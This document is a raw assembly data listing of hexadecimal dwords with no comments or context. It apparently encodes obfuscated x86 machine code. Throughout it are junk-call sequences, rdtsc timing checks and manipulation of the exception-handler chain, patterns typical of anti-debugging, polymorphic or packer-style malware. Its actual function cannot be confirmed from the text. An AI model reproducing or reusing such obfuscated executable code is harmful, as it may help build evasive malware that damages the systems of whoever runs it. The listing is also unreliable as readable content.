dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1604h, 0C3564600h
dd 0F565C611h, 8D0F006Ah, 6, 919BD8Bh, 4E80603h, 0FF000000h
dd 50001F03h, 0F525052h, 71A1BF31h, 585A40A1h, 0BF66310Fh
dd 585ADD63h, 24448B50h, 2A04BB04h, 8B0D4Dh, 8E85250h
dd 0B6000000h, 54412BADh, 0BF1EA4B5h, 1CE32D43h, 8B310F5Fh
dd 89585AF8h, 52042444h, 5FDF8B66h, 50006A58h, 3E8h, 0C3582000h
dd 24448958h, 24448104h, 1D04h, 0C3504000h, 1BAA52F1h
dd 0CE02F412h, 0B529D2D5h, 6031ADDh, 140595FFh, 6A0603h
dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1A0424h, 56460000h
dd 69855CC3h, 0B776E22Dh, 0A7348589h, 9D8B0606h, 6031BCDh
dd 1E6E9h, 5E900h, 0B96F0000h, 0E8FCEF96h, 0Fh, 0F697EE63h
dd 6ACBCEE0h, 6B9DE722h, 8189037Eh, 8911CDE3h, 858B5B1Ch
dd 606A72Ch, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
dd 16h, 54C35747h, 0C79728h, 18h, 0E850006Ah, 3, 58C35820h
dd 4244489h, 4244481h, 1Bh, 2BC35040h, 941C479Dh, 898102D9h
dd 32101B5h, 30B58B06h, 6A0606A7h, 3E85500h, 20000000h
dd 895DC35Dh, 8104246Ch, 18042444h, 45000000h, 0D512C355h
dd 51430E8Eh, 0CE8h, 9452A300h, 42DEBE67h, 16779207h, 0ED9D89DFh
dd 5B06030Ch, 8D858B5Bh, 6A060312h, 3E85700h, 20000000h
dd 895FC35Fh, 8104247Ch, 1B042444h, 47000000h, 0B038C357h
dd 4D7B182Eh, 0E8563DF9h, 0Eh, 0D375DC04h, 0B526433Eh
dd 774C86CEh, 8C0F0F20h, 0
dd 0B5295B5Fh, 60322C9h, 0BC4C56BFh, 57068969h, 1BC19501h
dd 8B5F0603h, 313C185h, 0A9858906h, 89060329h, 0BD290446h
dd 6030A31h, 14E85696h, 6E000000h, 69BAC995h, 30A3DD54h
dd 68AD3531h, 700A7A91h, 66FBB6D9h, 5F5BDE8Bh, 96FA8B50h
dd 2701BD8Bh, 0B5FF0603h, 606A72Ch, 0EE011268h, 24348133h
dd 33F102EDh, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
dd 1Dh, 3BC35747h, 8687A832h, 790B91FBh, 8DDE8B62h, 6A73485h
dd 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1404h
dd 0C3524200h, 0A18D01C3h, 5006031Bh, 0FE2A78BBh, 2404893Dh
dd 2D9D8Bh, 95FF0603h, 6031405h, 0E855006Ah, 3, 5DC35D20h
dd 4246C89h, 4244481h, 15h, 6BC35545h, 6163B760h, 0C7DFB70Fh
dd 321BD85h, 306h, 10E800h, 0AC7A0000h, 330E5E6h, 0D22F725Bh
dd 37DB2776h, 8960D300h, 3024D85h, 840F06h, 61000000h
dd 34BD835Bh, 606A7h, 52840Fh, 6A0000h, 3E851h, 59200000h
dd 4C8959C3h, 44810424h, 150424h, 51410000h, 0F4DACC3h
dd 68Eh, 258D8900h, 8B060313h, 309FD9Dh, 39E906h, 6A0000h
dd 3E850h, 58200000h, 448958C3h, 44810424h, 160424h, 50400000h
dd 9DDD76C3h, 110C3050h, 1114400h, 3010E8C1h, 21144h, 5803114Ch
dd 7504E983h, 5036EBE7h, 110430h, 0C1011164h, 443010E8h
dd 64000211h, 83580311h, 0E77504E9h, 0C1501BEBh, 642810E8h
dd 44300311h, 28580211h, 30011164h, 0E9831104h, 0EBE77504h
dd 8BC08B00h, 30181BDh, 51006A06h, 3E8h, 0C3592000h, 244C8959h
dd 24448104h, 1C04h, 0C3514100h, 3C1361A4h, 8A89EDB4h
dd 0BDBD837Ch, 3060321h, 448850Fh, 6A0000h, 3E857h, 5F200000h
dd 7C895FC3h, 44810424h, 170424h, 57470000h, 86F72BC3h
dd 34BD83EBh, 606A7h, 41C840Fh, 0D88B0000h, 0A734B5FFh
dd 6A0606h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 180424h
dd 51410000h, 2AB32DC3h, 9D0BBE63h, 60301C5h, 2E0595FFh
dd 0E7810603h, 754E4B9Ch, 0A728B58Bh, 6A0606h, 3E852h
dd 5A200000h, 54895AC3h, 44810424h, 1D0424h, 52420000h
dd 0FB7992C3h, 0FD60C4E2h, 89CCE004h, 32DC19Dh, 0D9BF0F06h
dd 106C7h, 6A0001h, 3E852h, 5A200000h, 54895AC3h, 44810424h
dd 180424h, 52420000h, 0AF677BC3h, 95096BEEh, 6030F7Dh
dd 0F5074B3h, 128Ah, 0DE900h, 0A6200000h, 8B6D40Ah, 18324B2Dh
dd 8965116Fh, 6A2434h, 3E856h, 5E200000h, 74895EC3h, 44810424h
dd 170424h, 56460000h, 0D957A6C3h, 34B5FF73h, 6A0606A7h
dd 3E85000h, 20000000h, 8958C358h, 81042444h, 18042444h
dd 40000000h, 4D55C350h, 0FFE260A3h, 32F1995h, 57006A06h
dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1D04h, 0C3574700h
dd 0DC62A012h, 3C481EBBh, 0B58BE29Bh, 606A728h, 0E855006Ah
dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Dh, 0C2C35545h, 0E551147Eh
dd 5D7C9921h, 3A14BFCAh, 0F98B4915h, 311D858Bh, 6A0603h
dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1A0424h, 57470000h
dd 2E42EFC3h, 96952D5Ah, 89D9BF0Fh, 0C486h, 0B70F5600h
dd 958B5FF8h, 60331D1h, 837FE380h, 0B58904C2h, 6030179h
dd 66205089h, 8D4C8CBBh, 6BBF385h, 0E59D3306h, 8906031Ah
dd 0B886h, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h
dd 1C04h, 0C3504000h, 0CC5382F5h, 4B967DDCh, 9DF8B4Dh
dd 32695B5h, 81006A06h, 9000B9C3h, 34B5FF60h, 660606A7h
dd 95FFF98Bh, 6031CB1h, 8D09A5B3h, 60305ADh, 8EAEBB96h
dd 505057B6h, 9E952h, 0C0A20000h, 4C03138Eh, 0F14F8A2h
dd 5ADE8B31h, 820F9658h, 5, 71EF8166h, 34B5FF00h, 6A0606A7h
dd 3E85000h, 20000000h, 8958C358h, 81042444h, 19042444h
dd 40000000h, 620DC350h, 83A65B47h, 0FFF8BF0Fh, 3116595h
dd 1830F06h, 0F8000000h, 1795BD83h, 0F000603h, 7384h, 7E800h
dd 74E30000h, 2C42B542h, 0A147BFBFh, 965F0A31h, 52505250h
dd 5250310Fh, 585A310Fh, 310F585Ah, 585ADE8Ah, 8B666050h
dd 11E9C2h, 9AD0000h, 992E7378h, 492FCFF3h, 0AC3008C3h
dd 6188B654h, 55006A96h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
dd 1B04h, 0C3554500h, 4D4E0BD0h, 8112B68Eh, 2BC1BD8Bh
dd 0BD8B0603h, 603318Dh, 0A734B5FFh, 6A0606h, 3E856h, 5E200000h
dd 74895EC3h, 44810424h, 170424h, 56460000h, 5979A0C3h
dd 3EDF81C3h, 0FF3E6675h, 3066195h, 0D1BD8B06h, 0FF060323h
dd 6A734B5h, 0FDBD3106h, 8906032Eh, 32D059Dh, 0E195FF06h
dd 6A06030Ah, 3E85600h, 20000000h, 895EC35Eh, 81042474h
dd 19042444h, 46000000h, 0F9DAC356h, 62B2EFACh, 218DBD83h
dd 0F020603h, 7F84h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh
dd 24448104h, 1604h, 0C3564600h, 0E9D7D575h, 7, 0AAAF433Dh
dd 8B25B356h, 301FD85h, 0F9BF0F06h, 6A0000C6h, 3E85300h
dd 20000000h, 895BC35Bh, 8104245Ch, 19042444h, 43000000h
dd 8710C353h, 0A502D5FEh, 11E8h, 0B8F0C100h, 0CDB37E9Bh
dd 90026E52h, 0EEDC47DDh, 6E96D5Ah, 0F9000000h, 0AA4E1E89h
dd 9D0B5F0Fh, 6031749h, 30B985C7h, 603h, 6A0000h, 3E853h
dd 5B200000h, 5C895BC3h, 44810424h, 1D0424h, 53430000h
dd 0ACEDE9C3h, 15DCA483h, 0BFEF5BFEh, 0CDE9905h, 935B589h
dd 96E90603h, 6AFFFFF2h, 3E85100h, 20000000h, 8959C359h
dd 8104244Ch, 1A042444h, 41000000h, 5BAEC351h, 828B35FFh
dd 0B5016019h, 603116Dh, 12E8h, 0ADE51500h, 0A44EB018h
dd 96F586F9h, 0B1013993h, 0B2269065h, 29615881h, 324F595h
dd 6AC18B06h, 3E85600h, 20000000h, 895EC35Eh, 81042474h
dd 1B042444h, 46000000h, 1879C356h, 3033C9DCh, 8D29FE21h
dd 6030361h, 11E8h, 64756F00h, 66663D47h, 43054919h, 13955837h
dd 8D5F3510h, 3281185h, 69950106h, 90060303h, 5E9CBB66h
dd 6A9050h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1C0424h
dd 56460000h, 0BF2F55C3h, 32A40981h, 8E9856Bh, 0FE000000h
dd 96070639h, 6AC9B1BDh, 50006A00h, 3E8h, 0C3582000h, 24448958h
dd 24448104h, 1904h, 0C3504000h, 0EE5DB842h, 0BD8BF9A9h
dd 60312EDh, 6ADBBF0Fh, 50006A00h, 3E8h, 0C3582000h, 24448958h
dd 24448104h, 1404h, 0C3504000h, 0CD9D8B0Dh, 8D06032Ch
dd 7679785h, 2880F06h, 8B000000h, 5C083D8h, 0E851006Ah
dd 3, 59C35920h, 4244C89h, 4244481h, 1Bh, 0ADC35141h, 0DC014Ah
dd 66682BCEh, 0F390D381h, 8E8h, 0D2B7C600h, 8C44B0EEh
dd 55BD89D4h, 5F060331h, 66515090h, 905BFA8Bh, 0E857006Ah
dd 3, 5FC35F20h, 4247C89h, 4244481h, 15h, 0B1C35747h, 0FE80Bh
dd 0B05E0000h, 18B6E4D4h, 714E27B3h, 0E5012553h, 6A5BD1h
dd 2A858529h
dd 6A0603h, 21B068BFh, 0C995FF60h, 6A06030Ch, 3E85100h
dd 20000000h, 8959C359h, 8104244Ch, 17042444h, 41000000h
dd 970FC351h, 0BD8B0EE1h, 60302F9h, 1111BD0Bh, 8D8D0603h
dd 6069747h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
dd 15h, 0F5C35040h, 0FD1FF7Fh, 0BD83DFB7h, 6031E91h, 0DC850F01h
dd 6A000000h, 3E85200h, 20000000h, 895AC35Ah, 81042454h
dd 17042444h, 42000000h, 169C352h, 0BF51D241h, 373EC04Eh
dd 14E85Bh, 91B60000h, 437AD038h, 392AA182h, 0E9228C8Ah
dd 69C868BEh, 6E967EAh, 0FA000000h, 0E5F1A6E9h, 26A5B81h
dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 19h, 1FC35545h
dd 0EC0373BBh, 8B669020h, 14E850FEh, 33000000h, 0A2F472BEh
dd 679504D0h, 49DD0A99h, 9ECDA7A1h, 66902E78h, 905BD98Bh
dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Ch, 96C35343h
dd 631F339Eh, 768628DDh, 108F0Fh, 0BE90000h, 0C7000000h
dd 0B01FCAEDh, 7B4E51AFh, 0BD8BF2EBh, 6031AC9h, 1CB195FFh
dd 81660603h, 0E9D6A2D7h, 0DF3h, 0E8h, 0ED815D00h, 60767A1h
dd 5FDBD2Bh, 6A0603h, 3E850h, 58200000h, 448958C3h, 44810424h
dd 170424h, 50400000h, 0AD67D9C3h, 719D0B12h, 8D060317h
dd 6888985h, 0A5BD8B06h, 50060323h, 3240489h, 31B399Dh
dd 35FF6406h, 0
dd 1A75BD8Bh, 0FE8A0603h, 258964h, 0B000000h, 322F5BDh
dd 0A19D3106h, 0FF060302h, 32A1585h, 11BD8B06h, 6A060326h
dd 50006AFFh, 3E8h, 0C3582000h, 24448958h, 24448104h, 1804h
dd 0C3504000h, 237DC36Ch, 13E8E2h, 2A4E0000h, 0B7659E30h
dd 5089632Bh, 7ACA0672h, 0CF4EBD95h, 0FC535F50h, 6880F5Fh
dd 89000000h, 32439B5h, 61B5FF06h, 8B060329h, 31AA99Dh
dd 1595FF06h, 0E9060320h, 15Dh, 1A55B589h, 0B00603h, 1065BD8Bh
dd 70E60603h, 9E8h, 2F884F00h, 53EB7AA8h, 2DB78B87h, 8971E45Bh
dd 31F0995h, 89E78106h, 3C281066h, 26830F61h, 8B000001h
dd 0C8B60FD9h, 235BD8Bh, 81660603h, 0BA4D3BE7h, 6, 8E9h
dd 10F4B800h, 75F39FECh, 8BC18B00h, 323AD9Dh, 4E8C106h
dd 6870Fh, 85890000h, 6032CA5h, 0BFE2F766h, 23E219Dh, 6E9C82Bh
dd 0DA000000h, 58F460C5h, 0DF816628h, 0D18BC275h, 10E8h
dd 6DA10F00h, 0A7731F43h, 0B03349BFh, 0B7D08BD3h, 0C9BD8B2Ch
dd 5B06032Ch, 6E9h, 0B5852900h, 8B06031Ch, 3240185h, 0FE96006h
dd 3D000000h, 0CA8A47ABh, 0CBF99356h, 0E884235Fh, 0B96683D1h
dd 83619D68h, 0E38007C0h, 358D09C8h, 83060328h, 37BF00C0h
dd 3B5E1A19h, 0C830FD0h, 0F000000h, 88h, 63E900h, 8BF80000h
dd 31BC98Dh, 14E806h, 679B0000h, 86D45A8Fh, 0A2CE597Ah
dd 1535A932h, 8DBDFADDh, 9E90813h, 19000000h, 24233FDFh
dd 0E2B9E30Dh, 1E1835Fh, 2B840Fh, 95890000h, 6030179h
dd 1BC9A583h, 0E9FE0603h, 8, 0A86F792Eh, 6D19C2BAh, 24019589h
dd 0BD030603h, 6033149h, 0E9h, 0E4B58D00h, 660606E5h, 0D2F7DB81h
dd 1A58BF66h, 6A006Ah, 3E850h, 58200000h, 448958C3h, 44810424h
dd 190424h, 50400000h, 3C2A22C3h, 895548FDh, 313ED9Dh
dd 0B995FF06h, 6A06031Fh, 3E85700h, 20000000h, 895FC35Fh
dd 8104247Ch, 1B042444h, 47000000h, 90CDC357h, 2ECC59Eh
dd 58B3BC16h, 68D9D8Bh, 6BB90603h, 6A000008h, 3E85500h
dd 20000000h, 895DC35Dh, 8104246Ch, 18042444h, 45000000h
dd 861BC355h, 50C94537h, 0FCE1835Bh, 98C380FCh, 6AC02Bh
dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 180424h, 53430000h
dd 0A25F84C3h, 8B0F7F99h, 8, 28C0Fh, 61600000h, 6AD22Bh
dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 160424h, 53430000h
dd 0C7AE78C3h, 30A1BD89h, 0E3800603h, 0C233ADAEh, 0D003E8D1h
dd 7504E983h, 56006AF4h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
dd 1A04h, 0C3564600h, 61BA9128h, 8BC83D49h, 32BD99Dh, 81FE8A06h
dd 0C8DBF0DBh, 880D2Eh, 6A0000h, 3E850h, 58200000h, 448958C3h
dd 44810424h, 1D0424h, 50400000h, 4ABE3BC3h, 0E4EFAF4h
dd 8B7E9903h, 331D195h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah
dd 24448104h, 1604h, 0C3524200h, 0E8238E10h, 12h, 6AC49C56h
dd 2A1F24A5h, 0F7279297h, 4DFC68E2h, 8B669F64h, 8D8B5BF8h
dd 60301E1h, 6860Fh, 8D890000h, 6030205h, 8BC28B50h, 8BC10318h
dd 0D1C18B18h, 8BC203E8h, 0BD8B5818h, 60305B1h, 31AD9531h
dd 0BD830603h, 6031D65h, 41840F00h, 31000000h, 30C5195h
dd 0C5F78106h, 0B85497A9h, 0
dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 17h, 47C35545h
dd 8A9A29E0h, 1C8D8DDDh, 8906034Dh, 331098Dh, 0F8E1FF06h
dd 21BDBD83h, 0F000603h, 4D984h, 51006A00h, 3E8h, 0C3592000h
dd 244C8959h, 24448104h, 1A04h, 0C3514100h, 339B9BC3h
dd 839E4E8Ah, 321BDBDh, 840F0106h, 4C5h, 0E856006Ah, 3
dd 5EC35E20h, 4247489h, 4244481h, 16h, 0B9C35646h, 0EE966C7h
dd 3000000h, 0AC0A2EB2h, 953D8496h, 967AD5A6h, 0BDBD836Ah
dd 3060321h, 451860Fh, 9D8B0000h, 6031C11h, 57006A60h
dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1704h, 0C3574700h
dd 0B49EB158h, 66DBB70Fh, 6AD98Ch, 3E855h, 5D200000h, 6C895DC3h
dd 44810424h, 1C0424h, 55450000h, 0A314A0C3h, 1FF6EC19h
dd 950948CCh, 6032875h, 6A04E180h, 3E85000h, 20000000h
dd 8958C358h, 81042444h, 16042444h, 40000000h, 35FBC350h
dd 7585893Fh, 0A060326h, 63840FC9h, 0E9000001h, 0Fh, 0BD1DF00Ch
dd 0F31FC306h, 6F06D1F5h, 8B98287Fh, 313C185h, 50006A06h
dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1704h, 0C3504000h
dd 9EBFC67Bh, 1C798533h, 6A0603h, 3E852h, 5A200000h, 54895AC3h
dd 44810424h, 1A0424h, 52420000h, 0CCAA8DC3h, 0C9E4CD65h
dd 280D8D31h, 0E8900603h, 6, 29DA1DA7h, 0DF8BD61Ch, 0BB66505Bh
dd 3190C75Bh, 322CD85h, 6A006A06h, 3E85500h, 20000000h
dd 895DC35Dh, 8104246Ch, 14042444h, 45000000h, 81A4C355h
dd 6EF27F3h, 20BB6671h, 4FC46842h, 0F98AE7FEh, 3B240481h
dd 6A1820B4h, 3E85100h, 20000000h, 8959C359h, 8104244Ch
dd 1B042444h, 41000000h, 91BAC351h, 2E9CE0B4h, 95FF9F4Ch
dd 6031405h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
dd 16h, 0B9C35040h, 0BD23AD53h, 6032DD1h, 0BBC78166h, 34858910h
dd 6A0606A7h, 3E85100h, 20000000h, 8959C359h, 8104244Ch
dd 17042444h, 41000000h, 0A95DC351h, 81669A8Eh, 801CFFCFh
dd 40E9AFEFh, 6A000002h, 3E85300h, 20000000h, 895BC35Bh
dd 8104245Ch, 1A042444h, 43000000h, 5955C353h, 3A629E37h
dd 0E78166E6h, 858B2102h, 606A72Ch, 2A799D8Bh, 0C70603h
dd 18h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Bh
dd 0CC35343h, 0F64CD755h, 0B728CEBFh, 30B58B57h, 6A0606A7h
dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 1D042444h
dd 47000000h, 145CC357h, 0A2D446CFh, 0B9CBD3F0h, 8D858BF9h
dd 89060312h, 32875B5h, 1068906h, 30F8D9Dh, 0C1858B06h
dd 6A060313h, 3E85600h, 20000000h, 895EC35Eh, 81042474h
dd 16042444h, 46000000h, 0DD46C356h, 0E5BD8B6Dh, 89060303h
dd 30C59B5h, 4468906h, 0E851006Ah, 3, 59C35920h, 4244C89h
dd 4244481h, 16h, 9DC35141h, 70B7802Ch, 2379BD03h, 66960603h
dd 0F50DE8Bh, 89h, 8B669600h, 0E38151F8h, 28C15DDCh, 2CB5FF5Bh
dd 6A0606A7h, 3E85200h, 20000000h, 895AC35Ah, 81042454h
dd 16042444h, 42000000h, 6868C352h, 4E8C2h, 3FF0000h, 0FE8B001Fh
dd 60525050h, 8E9h, 0B6CA6A00h, 780D2376h, 840F37h, 61000000h
dd 11E8310Fh, 0B9000000h, 0A8FB0F25h, 43F57536h, 60BB5E27h
dd 0A8BBE64Ah, 8B585A5Fh, 0BB042444h, 6D544C54h, 0BE8008Bh
dd 0DF000000h, 0B1F19AF2h, 0EB139675h, 12E811EAh, 56000000h
dd 85BD42ACh, 30A947E0h, 3829DE87h, 13DB93B8h, 5F6160DEh
dd 2444895Fh, 0DA8B6604h, 57006A58h, 3E8h, 0C35F2000h
dd 247C895Fh, 24448104h, 1C04h, 0C3574700h, 0C55C7E3Ah
dd 0B82F18F2h, 8DFB8B00h, 6A73485h, 51006A06h, 3E8h, 0C3592000h
dd 244C8959h, 24448104h, 1A04h, 0C3514100h, 24C345F1h
dd 5074AF2Dh, 0F240489h, 687h, 819D8B00h, 0FF060311h, 3140595h
dd 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1404h
dd 0C3504000h, 39958942h, 0F060312h, 682h, 899D0900h, 61060312h
dd 0BE70C381h, 85C76B17h, 60321BDh, 3, 8FDBD01h, 0BD830603h
dd 606A734h, 2C840F00h, 6A000000h, 3E85700h, 20000000h
dd 895FC35Fh, 8104247Ch, 1B042444h, 47000000h, 0F3A6C357h
dd 8DB98452h, 0D98BE657h, 1DE9h, 5089B700h, 110C30h, 0C1011144h
dd 443010E8h, 4C000211h, 83580311h, 0E77504E9h, 305036EBh
dd 64001104h, 0E8C10111h, 11443010h, 11640002h, 0E9835803h
dd 0EBE77504h, 0E8C1501Bh, 11642810h, 11443003h, 64285802h
dd 4300111h, 4E98311h, 0EBE775h, 6AC08Bh, 3E853h, 5B200000h
dd 5C895BC3h, 44810424h, 1A0424h, 53430000h, 0B0F1EBC3h
dd 1792E761h, 0C35B589h, 6A0603h, 3E852h, 5A200000h, 54895AC3h
dd 44810424h, 160424h, 52420000h, 14AAA5C3h, 0DE9h, 897C0500h
dd 6FFF35BBh, 0C2D6EA9Eh, 8166189Dh, 66D592EBh, 0BD83D88Bh
dd 60321BDh, 0D8850F03h, 0BF000003h, 3EB473A3h, 0A734BD83h
dd 0F000606h, 3C684h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh
dd 24448104h, 1504h, 0C3534300h, 0F88A4D25h, 34B5FFF8h
dd 6A0606A7h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch
dd 15042444h, 43000000h, 0EABDC353h, 1CB9BD23h, 95FF0603h
dd 6032E05h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
dd 1Ch, 6FC35747h, 0C9B7E3E3h, 69EA73F4h, 0A728B58Bh, 0F520606h
dd 580h, 5FD7BB00h, 0C75F6D35h, 1000106h, 55006A00h, 3E8h
dd 0C35D2000h, 246C895Dh, 24448104h, 1A04h, 0C3554500h
dd 307EC688h, 89478082h, 3110595h, 61BD2906h, 96060314h
dd 427AE8BBh, 0FE8A5001h, 0D5950996h, 0FF060301h, 6A734B5h
dd 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1504h
dd 0C3534300h, 890FCFB1h, 6, 2E9D9D8Bh, 95FF0603h, 6032F19h
dd 5880Fh, 81660000h, 667A74DFh, 8B6103BBh, 6A728B5h, 0FB8B6606h
dd 311D858Bh, 6A0603h, 3E850h, 58200000h, 448958C3h, 44810424h
dd 1D0424h, 50400000h, 0E7DA3BC3h, 0CA438285h, 8BCA0D95h
dd 30A299Dh, 0C4868906h, 1000000h, 3318195h, 0D1958B06h
dd 6A060331h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch
dd 18042444h, 47000000h, 0EEF9C357h, 8B132E4Dh, 329FDBDh
dd 4C28306h, 5D7DB3BBh, 20508902h, 0E855006Ah, 3, 5DC35D20h
dd 4246C89h, 4244481h, 14h, 0EBC35545h, 7F78166h, 0F3858D0Eh
dd 0F0606BBh, 0BD89DEBFh, 6032ED5h, 0B88689h, 6AF80000h
dd 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1504h
dd 0C3554500h, 9589F6CEh, 6030425h, 0A734B5FFh, 81660606h
dd 81CB37F7h, 0E827E7D7h, 0B195FF4Ch, 6A06031Ch, 3E85000h
dd 20000000h, 8958C358h, 81042444h, 18042444h, 40000000h
dd 200C350h, 0B7C5F662h, 8F0F9644h, 0Dh, 7E8h, 5EA9700h
dd 6C5B85A6h
dd 6A96505Bh, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch
dd 1C042444h, 43000000h, 0D497C353h, 0D38B448Dh, 0F51F274h
dd 68Ch, 39958900h, 0FF06031Ah, 6A734B5h, 57006A06h, 3E8h
dd 0C35F2000h, 247C895Fh, 24448104h, 1604h, 0C3574700h
dd 0BF50A616h, 0FB59472h, 248D9D01h, 95FF0603h, 6031165h
dd 68A0Fh, 0D7810000h, 2850313Dh, 1795BD83h, 0F000603h
dd 3084h, 0B6B56000h, 830F5061h, 16h, 11E9h, 251C0600h
dd 0BC073C74h, 2415629Bh, 32BB000Fh, 3489B528h, 45B58924h
dd 81060301h, 0B3A352D7h, 34B5FF08h, 0F90606A7h, 66195FFh
dd 0BF660603h, 0B5FF7F59h, 606A734h, 349BD89h, 95FF0603h
dd 6030AE1h, 0FE9h, 77191C00h, 67AF1647h, 0D0BFF893h, 0A76ABEDBh
dd 218DBD83h, 0F020603h, 6A84h, 499D8900h, 8B060332h, 301FD85h
dd 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1404h
dd 0C3574700h, 0AE9F4h, 86550000h, 0E4CF8259h, 7CB9B5C3h
dd 6A0000C6h, 3E85000h, 20000000h, 8958C358h, 81042444h
dd 16042444h, 40000000h, 47EBC350h, 0DE94Ah, 80D60000h
dd 7DF3874Bh, 0DCC54E93h, 0C74D4C64h, 330B985h, 6, 55006A00h
dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1604h, 0C3554500h
dd 894DC1C3h, 326CD85h, 3D858906h, 0E9060303h, 0FFFFF2C7h
dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 18h, 7FC35545h
dd 92BBA041h, 0B05A9EBFh, 6800F5Ah, 89000000h, 32DB5BDh
dd 0E9C18B06h, 7, 0D7B731C2h, 8D8A4EBEh, 3281185h, 55006A06h
dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1B04h, 0C3554500h
dd 6C59C8B8h, 0E7031C64h, 0D0BB6690h, 8B66508Ah, 6A90FAh
dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 180424h, 57470000h
dd 0AE5785C3h, 0F3817244h, 0F895270h, 9589006Ah, 6031FBDh
dd 8D89006Ah, 60323B1h, 5E9h, 43520000h, 858D891Ah, 60777DAh
dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Ah, 2DC35545h
dd 8C739695h, 0BD8B5755h, 60323ADh, 20498D89h, 0C0830603h
dd 0EE905h, 0D12A0000h, 480D736Dh, 1E3F2445h, 64B19E24h
dd 0D88B6690h, 13E850h, 14720000h, 0E1FEFB75h, 0AA7107B7h
dd 0D2C775B8h, 0C7A6979Eh, 6A905F8Dh, 3E85500h, 20000000h
dd 895DC35Dh, 8104246Ch, 19042444h, 45000000h, 0B880C355h
dd 1C98C78Bh, 0BF66006Ah, 6A62F0h, 0E855006Ah, 3, 5DC35D20h
dd 4246C89h, 4244481h, 1Ah, 26C35545h, 65D40F38h, 95FFBF45h
dd 6030CC9h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
dd 15h, 0F3C35545h, 51BD8B23h, 8D060328h, 697478Dh, 53006A06h
dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1A04h, 0C3534300h
dd 9F1AE1EBh, 237E08D1h, 3261DBDh, 6AD1FF06h, 3E85200h
dd 20000000h, 895AC35Ah, 81042454h, 15042444h, 42000000h
dd 0B4AC352h, 83D98B66h, 31E91BDh, 850F0106h, 9Eh, 0E856006Ah
dd 3, 5EC35E20h, 4247489h, 4244481h, 1Ah, 0EFC35646h, 0BB55E828h
dd 26AE0F1h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
dd 1Bh, 32C35747h, 79AC434Ch, 31E4E60Dh, 31D619Dh, 60509006h
dd 0F78B5250h, 890F310Fh, 0
dd 0CB8B585Ah, 2B609061h, 31C198Dh, 0F1958B06h, 6106031Bh
dd 1CB195FFh, 6A0603h, 3E852h, 5A200000h, 54895AC3h, 44810424h
dd 1A0424h, 52420000h, 279492C3h, 0D1754A99h, 0A853CF81h
dd 76E9540Ah, 0E800000Eh, 0
dd 0E4ED815Dh, 3060777h, 32F49BDh, 56006A06h, 3E8h, 0C35E2000h
dd 2474895Eh, 24448104h, 1C04h, 0C3564600h, 0D3B2E6F3h
dd 3A16280Dh, 0F7816672h, 14E9AA82h, 90000000h, 6B750430h
dd 11FE1D6h, 0C8B9595Fh, 0C5204D80h, 8D96B57Eh, 6888985h
dd 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1404h
dd 0C3534300h, 5D9589B2h, 90060330h, 26B75250h, 0BB66310Fh
dd 585A3FFBh, 60535750h, 905B5F61h, 0E857006Ah, 3, 5FC35F20h
dd 4247C89h, 4244481h, 15h, 0BEC35747h, 35FF64F2h, 0
dd 8B661FB7h, 258964DAh, 0
dd 28B5BD89h, 85FF0603h, 6032A15h, 6AFF6AF5h, 3E85300h
dd 20000000h, 895BC35Bh, 8104245Ch, 17042444h, 43000000h
dd 0F4D3C353h, 830FB30Dh, 3, 0B7F9B70Fh, 0C5B5FF8Bh, 6A060323h
dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 17042444h
dd 41000000h, 0CF6EC351h, 95FFD470h, 6032015h, 11CE9h
dd 55858900h, 0B0060330h, 0CDBD2300h, 0E906031Ah, 12h
dd 0C5BAFDA6h, 9CC0A080h, 9BCA810Eh, 892B95A0h, 70E68608h
dd 71E49FB3h, 0AAC1CF81h, 613C3657h, 0E3830Fh, 0FFC0000h
dd 0BD89C8B6h, 6032511h, 6BAh, 0CE32BB00h, 0C18B73DEh
dd 8B04E8C1h, 0E2F766FEh, 0C82B5AB3h, 5E9h, 0B7D1B400h
dd 0BF66A577h, 0D18B650Fh, 15E6C781h, 0B5295CC5h, 6031E69h
dd 6E9h, 0DD8D8900h, 8B060323h, 31C1D85h, 719D8B06h, 8306031Eh
